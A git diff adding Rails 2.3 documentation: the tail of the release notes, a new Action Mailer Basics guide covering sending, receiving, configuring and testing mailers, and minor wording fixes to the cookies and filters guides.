Efficient Routing + +There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches. + +Lead Contributors: link:http://blog.hungrymachine.com/[Aaron Batalion] + +=== Rack-based Lazy-loaded Sessions + +A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load. + +=== MIME Type Handling Changes + +There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms: + +[source, ruby] +------------------------------------------------------- +if content_type && Mime::JS =~ content_type + # do something cool +end + +Mime::JS =~ "text/javascript" => true +Mime::JS =~ "application/javascript" => true +------------------------------------------------------- + +The other change is that the framework now uses the +Mime::JS+ when checking for javascript in various spots, making it handle those alternatives cleanly. + +Lead Contributor: link:http://www.workingwithrails.com/person/5510-seth-fitzsimmons[Seth Fitzsimmons] + +=== Optimization of +respond_to+ + +In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup. + +=== Improved Caching Performance + +Rails now keeps a per-request local cache of requests, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods. + +* Lead Contributor: link:http://www.motionstandingstill.com/[Nahum Wild] + +=== Localized Views + +Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project. + +=== Other Action Controller Changes + +* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+. +* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely. +* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+. +* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. +* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+. +* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources. + +== Action View + +Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things. + +=== Nested Object Forms + +Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders + + accepts_nested_attributes_for :orders, :allow_destroy => true +end +------------------------------------------------------- + +You can write this view in Rails 2.3: + +[source, ruby] +------------------------------------------------------- +<% form_for @customer do |customer_form| %> +
+ <%= customer_form.label :name, 'Customer Name:' %> + <%= customer_form.text_field :name %> +
+ + + <% customer_form.fields_for :orders do |order_form| %> +

+

+ <%= order_form.label :number, 'Order Number:' %> + <%= order_form.text_field :number %> +
+ + + <% unless order_form.object.new_record? %> +
+ <%= order_form.label :_delete, 'Remove:' %> + <%= order_form.check_box :_delete %> +
+ <% end %> +

+ <% end %> + <% end %> + + <%= customer_form.submit %> +<% end %> +------------------------------------------------------- + +* Lead Contributor: link_to:http://www.superalloy.nl/blog/[Eloy Duran] +* More Information: + - link_to:http://weblog.rubyonrails.org/2009/1/26/nested-model-forms[Nested Model Forms] + - link_to:http://github.com/alloy/complex-form-examples/tree/nested_attributes[complex-form-examples] + - link_to:http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes[What's New in Edge Rails: Nested Object Forms] + +=== Smart Rendering of Partials + +The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming): + +[source, ruby] +------------------------------------------------------- +render @article # Equivalent of render :partial => 'articles/_article', :object => @article +render @articles # Equivalent of render :partial => 'articles/_article', :collection => @articles +------------------------------------------------------- + +* More Information: link:http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance[What's New in Edge Rails: render Stops Being High-Maintenance] + +=== Prompts for Date Select Helpers + +In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt: + +[source, ruby] +------------------------------------------------------- +select_datetime(DateTime.now, :prompt => true) + +select_datetime(DateTime.now, :prompt => "Choose date and time") + +select_datetime(DateTime.now, :prompt => + {:day => 'Choose day', :month => 'Choose month', + :year => 'Choose year', :hour => 'Choose hour', + :minute => 'Choose minute'}) +------------------------------------------------------- + +Lead Contributor: link:http://samoliver.com/[Sam Oliver] + +=== AssetTag Timestamp Caching + +You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients. + +=== Asset Hosts as Objects + +Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting. + +* More Information: link:http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master[asset-hosting-with-minimum-ssl] + +=== grouped_options_for_select Helper Method + +Action View already haD a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example: + +[source, ruby] +------------------------------------------------------- +grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], + "Cowboy Hat", "Choose a product...") +------------------------------------------------------- + +returns + +[source, ruby] +------------------------------------------------------- + + + + + +------------------------------------------------------- + +=== Other Action View Changes + +* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs. +* +auto_link+ now properly applies options (such as :target and :class) to generated e-mail links. +* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive. + +== Active Support + +Active Support has a few interesting changes, including the introduction of +Object#try+. + +=== Object#try + +A lot of folks have adopted the notion of using try() to attempt operations on objects - It's especially helpful in views where you can avoid nil-checking by writing code like +<%= @person.try(:name) %>+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil. + +* More Information: link:http://ozmm.org/posts/try.html[try()]. + +=== Object#tap Backport + ++Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. + +=== Fractional seconds for TimeWithZone + +The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does: + +[source, ruby] +------------------------------------------------------- +>> Time.zone.now.xmlschema(6) +=> "2009-01-16T13:00:06.13653Z" +------------------------------------------------------- + +Lead Contributor: link:http://www.workingwithrails.com/person/13536-nicholas-dainty[Nicholas Dainty] + +=== JSON Key Quoting + +If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we doe the right thing here, even with numeric keys. + +=== Other Active Support Changes + +* You can use +Enumerable#none?+ to check that none of the elements match the supplied block. +* If you're using Active Support link:http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/[delegates], the new +:allow_nil+ option lets you return nil instead of raising an exception when the target object is nil. +* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+. +* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies). +* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. + +== Railties + +In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces. + +=== Rails Metal + +Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. + +* More Information: + - link:http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal[Introducing Rails Metal] + - link:http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m[Rails Metal: a micro-framework with the power of Rails] + - link:http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html[Metal: Super-fast Endpoints within your Rails Apps] + - link:http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal[What's New in Edge Rails: Rails Metal] + +=== Application Templates + +Rails 2.3 incorporates Jeremy McAnally's link:http://github.com/jeremymcanally/rg/tree/master[rg] application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application: + +[source, ruby] +------------------------------------------------------- +rake rails:template LOCATION=~/template.rb +------------------------------------------------------- + +This will layer the changes from the template on top of whatever code the project already contains. + +* Lead Contributor: link:http://www.jeremymcanally.com/[Jeremy McAnally] +* More Info:http://m.onkey.org/2008/12/4/rails-templates[Rails templates] + +=== Quieter Backtraces + +Building on Thoughtbot's link:http://www.thoughtbot.com/projects/quietbacktrace[Quiet Backtrace] plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. + +=== Faster Boot Time in Development Mode with Lazy Loading/Autoload + +Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. + +You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. + +=== Other Railties Changes + +* The instructions for updating a CI server to build Rails have been updated and expanded. +* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test. +* The default +environment.rb+ file has been decluttered. +* The dbconsole script now lets you use an all-numeric password without crashing. +* Rails.root now returns a Pathname object, which means you can use it directly with the join method to link:http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/[clean up existing code] that uses File.join. +* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the rails command, or add them later with +rake rails:generate_dispatchers+). + +== Deprecated + +A few pieces of older code are deprecated in this release: + +* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the link:http://github.com/rails/irs_process_scripts/tree[irs_process_scripts] plugin. +* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the link:http://github.com/rails/render_component/tree/master[render_component plugin]. +* Support for Rails components has been removed. +* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. +* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now. +* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect. +* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client. +* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead. + +== Credits + +Release notes compiled by link:http://afreshcup.com[Mike Gunderloy] \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/action_mailer_basics.txt b/vendor/rails/railties/doc/guides/source/action_mailer_basics.txt new file mode 100644 index 00000000..c7700d16 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/action_mailer_basics.txt @@ -0,0 +1,483 @@ +Action Mailer Basics +==================== + +This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of the ActionMailer class. It will also cover how to test your mailers. + +== Introduction +Action Mailer allows you to send email from your application using a mailer model and views. +Yes, that is correct, in Rails, emails are used by creating models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views. + +== Sending Emails +Let's say you want to send a welcome email to a user after they signup. Here is how you would go about this: + +=== Walkthrough to generating a Mailer +==== Create the mailer: +[source, shell] +------------------------------------------------------- +./script/generate mailer UserMailer +exists app/models/ +create app/views/user_mailer +exists test/unit/ +create test/fixtures/user_mailer +create app/models/user_mailer.rb +create test/unit/user_mailer_test.rb +------------------------------------------------------- + +So we got the model, the fixtures, and the tests all created for us + +==== Edit the model: + +If you look at app/models/user_mailer.rb, you will see: +[source, ruby] +------------------------------------------------------- +class UserMailer < ActionMailer::Base + +end +------------------------------------------------------- + +Lets add a method called welcome_email, that will send an email to the user's registered email address: +[source, ruby] +------------------------------------------------------- +class UserMailer < ActionMailer::Base + + def welcome_email(user) + recipients user.email + from "My Awesome Site Notifications" + subject "Welcome to My Awesome Site" + sent_on Time.now + body {:user => user, :url => "http://example.com/login"} + content_type "text/html" + end + +end +------------------------------------------------------- + +So what do we have here? +[width="100%", cols="20%,80%"] +|====================================================== +|recipients| who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"] +|from| Who the email will appear to come from in the recipients' mailbox +|subject| The subject of the email +|sent_on| Timestamp for the email +|content_type| The content type, by default is text/plain +|====================================================== + +How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption. + +==== Create the mailer view +Create a file called welcome_email.html.erb in #{RAILS_ROOT}/app/views/user_mailer/ . This will be the template used for the email. This file will be used for html formatted emails. Had we wanted to send text-only emails, the file would have been called welcome_email.txt.erb, and we would have set the content type to text/plain in the mailer model. + +The file can look like: +[source, html] +------------------------------------------------------- + + + + + + +

Welcome to example.com, <%= @user.first_name %>

+

+ You have successfully signed up to example.com, and your username is: <%= @user.login %>.
+ To login to the site, just follow this link: <%= @url %>. +

+

Thanks for joining and have a great day!

+ + +------------------------------------------------------- + +==== Wire it up so that the system sends the email when a user signs up +There are 3 ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent. + +Let's see how we would go about wiring it up using an observer: + +In config/environment.rb: +[source, ruby] +------------------------------------------------------- +# Code that already exists + +Rails::Initializer.run do |config| + + # Code that already exists + + config.active_record.observers = :user_observer + +end +------------------------------------------------------- + +There was a bit of a debate on where to put observers. Some people put them in app/models, but a cleaner method may be to create an app/observers folder to store all observers, and add that to your load path. Open config/environment.rb and make it look like: +[source, ruby] +------------------------------------------------------- +# Code that already exists + +Rails::Initializer.run do |config| + + # Code that already exists + + config.load_paths += %W(#{RAILS_ROOT}/app/observers) + + config.active_record.observers = :user_observer + +end +------------------------------------------------------- + +ALMOST THERE :) Now all we need is that danged observer, and we're done: +Create a file called user_observer in app/models or app/observers depending on where you stored it, and make it look like: +[source, ruby] +------------------------------------------------------- +class UserObserver < ActiveRecord::Observer + def after_create(user) + UserMailer.deliver_welcome_email(user) + end +end +------------------------------------------------------- + +Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email. The next section will go through this in more detail. + +That's it! Now whenever your users signup, they will be greeted with a nice welcome email. + +=== Action Mailer and dynamic deliver_ methods +So how does Action Mailer understand this deliver_welcome_email call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section: + +You never instantiate your mailer class. Rather, your delivery instance +methods are automatically wrapped in class methods that start with the word +deliver_ followed by the name of the mailer method that you would +like to deliver. The signup_notification method defined above is +delivered by invoking Notifier.deliver_signup_notification. + +So, how exactly does this work? + +In ActionMailer:Base, you will find this: +[source, ruby] +------------------------------------------------------- +def method_missing(method_symbol, *parameters)#:nodoc: + case method_symbol.id2name + when /^create_([_a-z]\w*)/ then new($1, *parameters).mail + when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver! + when "new" then nil + else super + end +end +------------------------------------------------------- + +Ah, this makes things so much clearer :) so if the method name starts with deliver_ followed by any combination of lowercase letters or underscore, method missing calls new on your mailer class (UserMailer in our example above), sending the combination of lower case letters or underscore, along with the parameter. The resulting object is then sent the deliver! method, which well... delivers it. + +=== Complete List of ActionMailer user-settable attributes + +[width="100%", cols="20%,80%"] +|====================================================== +|bcc| Specify the BCC addresses for the message + +|body| Define the body of the message. This is either a Hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual text of the message. + +|cc| Specify the CC addresses for the message. + +|charset| Specify the charset to use for the message. This defaults to the default_charset specified for ActionMailer::Base. + +|content_type| Specify the content type for the message. This defaults to " + subject "Welcome to My Awesome Site" + sent_on Time.now + body {:user => user, :url => "http://example.com/login"} + content_type "text/html" + + # change the default from welcome_email.[html, txt].erb + template "some_other_template" # this will be in app/views/user_mailer/some_other_template.[html, txt].erb + end + +end +------------------------------------------------------- + +=== Action Mailer Layouts +Just like controller views, you can also have mailer layouts. The layout name needs to end in _mailer to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout user_mailer.[html,txt].erb. In order to use a different file just use: + +[source, ruby] +------------------------------------------------------- +class UserMailer < ActionMailer::Base + + layout 'awesome' # will use awesome.html.erb as the layout + +end +------------------------------------------------------- + +Just like with controller views, use yield to render the view inside the layout. + +=== Generating URL's in Action Mailer views +URLs can be generated in mailer views using url_for or named routes. +Unlike controllers from Action Pack, the mailer instance doesn't have any context about the incoming request, so you'll need to provide all of the details needed to generate a URL. + +When using url_for you'll need to provide the :host, :controller, and :action: + + <%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %> + +When using named routes you only need to supply the :host: + + <%= users_url(:host => "example.com") %> + +You will want to avoid using the name_of_route_path form of named routes because it doesn't make sense to generate relative URLs in email messages. The reason that it doesn't make sense is because the email is opened on a mail client outside of your environment. Since the email is not being served by your server, a URL like "/users/show/1", will have no context. In order for the email client to properly link to a URL on your server it needs something like "http://yourserver.com/users/show/1". + +It is also possible to set a default host that will be used in all mailers by setting the :host option in +the ActionMailer::Base.default_url_options hash as follows: + + ActionMailer::Base.default_url_options[:host] = "example.com" + +This can also be set as a configuration option in config/environment.rb: + + config.action_mailer.default_url_options = { :host => "example.com" } + +If you do decide to set a default :host for your mailers you will want to use the :only_path => false option when using url_for. This will ensure that absolute URLs are generated because the url_for view helper will, by default, generate relative URLs when a :host option isn't explicitly provided. + +=== Sending multipart emails +Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have welcome_email.txt.erb and welcome_email.html.erb in app/views/user_mailer, Action Mailer will automatically send a multipart email with the html and text versions setup as different parts. + +To explicitly specify multipart messages, you can do something like: +[source, ruby] +------------------------------------------------------- +class UserMailer < ActionMailer::Base + + def welcome_email(user) + recipients user.email_address + subject "New account information" + from "system@example.com" + content_type "multipart/alternative" + + part :content_type => "text/html", + :body => "

html content, can also be the name of an action that you call

" + + part "text/plain" do |p| + p.body = "text content, can also be the name of an action that you call" + end + end + +end +------------------------------------------------------- + +=== Sending emails with attachments +Attachments can be added by using the attachment method: +[source, ruby] +------------------------------------------------------- +class UserMailer < ActionMailer::Base + + def welcome_email(user) + recipients user.email_address + subject "New account information" + from "system@example.com" + content_type "multipart/alternative" + + attachment :content_type => "image/jpeg", + :body => File.read("an-image.jpg") + + attachment "application/pdf" do |a| + a.body = generate_your_pdf_here() + end + end + +end +------------------------------------------------------- + +== Receiving Emails +Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. +So, to receive emails in your Rails app you'll need: + +1. Configure your email server to forward emails from the address(es) you would like your app to receive to /path/to/app/script/runner \'UserMailer.receive(STDIN.read)' + +2. Implement a receive method in your mailer + +Once a method called receive is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer object‘s receive method. Here's an example: + +[source, ruby] +------------------------------------------------------- +class UserMailer < ActionMailer::Base + + def receive(email) + page = Page.find_by_address(email.to.first) + page.emails.create( + :subject => email.subject, + :body => email.body + ) + + if email.has_attachments? + for attachment in email.attachments + page.attachments.create({ + :file => attachment, + :description => email.subject + }) + end + end + end + + +end +------------------------------------------------------- + + +== Using Action Mailer Helpers +Action Mailer classes have 4 helper methods available to them: +[width="100%", cols="2,8"] +|====================================================== +|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller. + +|helper(*args, &block)| +Declare a helper: + helper :foo +requires 'foo_helper' and includes FooHelper in the template class. + helper FooHelper +includes FooHelper in the template class. + helper { def foo() "#{bar} is the very best" end } +evaluates the block in the template class, adding method foo. + helper(:three, BlindHelper) { def mice() 'mice' end } +does all three. + +|helper_method| +Declare a controller method as a helper. For example, + helper_method :link_to + def link_to(name, options) ... end +makes the link_to controller method available in the view. + +|helper_attr| +Declare a controller attribute as a helper. For example, + helper_attr :name + attr_accessor :name +makes the name and name= controller methods available in the view. +The is a convenience wrapper for helper_method. +|====================================================== + +== Action Mailer Configuration +The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) +[width="100%", cols="2,8a"] +|====================================================== +|template_root|Determines the base from which template references will be made. +|logger|the logger is used for generating information on the mailing run if available. + Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers. +|smtp_settings|Allows detailed configuration for :smtp delivery method: +[cols="20%,80%"] +!====================================================== +!:address !Allows you to use a remote mail server. Just change it from its default "localhost" setting. +!:port !On the off chance that your mail server doesn't run on port 25, you can change it. +!:domain !If you need to specify a HELO domain, you can do it here. +!:user_name !If your mail server requires authentication, set the username in this setting. +!:password !If your mail server requires authentication, set the password in this setting. +!:authentication !If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5. +!====================================================== +|sendmail_settings|Allows you to override options for the :sendmail delivery method. +[cols="20%,80%"] +!====================================================== +!:location!The location of the sendmail executable. Defaults to /usr/sbin/sendmail. +!:arguments!The command line arguments. Defaults to -i -t. +!====================================================== +|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered. +|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test. +|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, + but this can be turned off to help functional testing. +|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful + for unit and functional testing. +|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also + pick a different charset from inside a method with charset. +|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You + can also pick a different content type from inside a method with content_type. +|default_mime_version|The default mime version used for the message. Defaults to 1.0. You + can also pick a different value from inside a method with mime_version. +|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates + which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to + ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client + and appear last in the mime encoded message. You can also pick a different order from inside a method with + implicit_parts_order. +|====================================================== + +=== Example Action Mailer Configuration +An example would be: +[source, ruby] +------------------------------------------------------- +ActionMailer::Base.delivery_method = :sendmail +ActionMailer::Base.sendmail_settings = { + :location => '/usr/sbin/sendmail', + :arguments => '-i -t' +} +ActionMailer::Base.perform_deliveries = true +ActionMailer::Base.raise_delivery_errors = true +ActionMailer::Base.default_charset = "iso-8859-1" +------------------------------------------------------- + +=== Action Mailer Configuration for GMail +Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html + +First you must install the action_mailer_tls plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer. + +[source, ruby] +------------------------------------------------------- +ActionMailer::Base.smtp_settings = { + :address => "smtp.gmail.com", + :port => 587, + :domain => "domain.com", + :user_name => "user@domain.com", + :password => "password", + :authentication => :plain +} +------------------------------------------------------- + +=== Configure Action Mailer to recognize HAML templates +In environment.rb, add the following line: + +[source, ruby] +------------------------------------------------------- +ActionMailer::Base.register_template_extension('haml') +------------------------------------------------------- + +== Mailer Testing +Testing mailers involves 2 things. One is that the mail was queued and the other that the body contains what we expect it to contain. With that in mind, we could test our example mailer from above like so: + +[source, ruby] +------------------------------------------------------- +class UserMailerTest < ActionMailer::TestCase + tests UserMailer + + def test_welcome_email + user = users(:some_user_in_your_fixtures) + + # Send the email, then test that it got queued + email = UserMailer.deliver_welcome_email(user) + assert !ActionMailer::Base.deliveries.empty? + + # Test the body of the sent email contains what we expect it to + assert_equal [@user.email], email.to + assert_equal "Welcome to My Awesome Site", email.subject + assert email.body =~ /Welcome to example.com, #{user.first_name}/ + end + end +------------------------------------------------------- + +What have we done? Well, we sent the email and stored the returned object in the email variable. We then ensured that it was sent (the first assert), then, in the second batch of assertion, we ensure that the email does indeed contain the values that we expect. + +== Epilogue +This guide presented how to create a mailer and how to test it. In reality, you may find that writing your tests before you actually write your code to be a rewarding experience. It may take some time to get used to TDD (Test Driven Development), but coding this way achieves two major benefits. Firstly, you know that the code does indeed work, because the tests fail (because there's no code), then they pass, because the code that satisfies the tests was written. Secondly, when you start with the tests, you don't have to make time AFTER you write the code, to write the tests, then never get around to it. The tests are already there and testing has now become part of your coding regimen. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt index 88b99de3..9c30d29d 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt @@ -31,4 +31,4 @@ class CommentsController < ApplicationController end ----------------------------------------- -Note that while for session values, you set the key to `nil`, to delete a cookie value, you should use `cookies.delete(:key)`. +Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt index df67977e..09a4bdf4 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt @@ -38,7 +38,7 @@ class ApplicationController < ActionController::Base end --------------------------------- -In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter` : +In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter`: [source, ruby] --------------------------------- @@ -49,7 +49,7 @@ class LoginsController < Application end --------------------------------- -Now, the +LoginsController+'s "new" and "create" actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. +Now, the LoginsController's `new` and `create` actions will work as before without 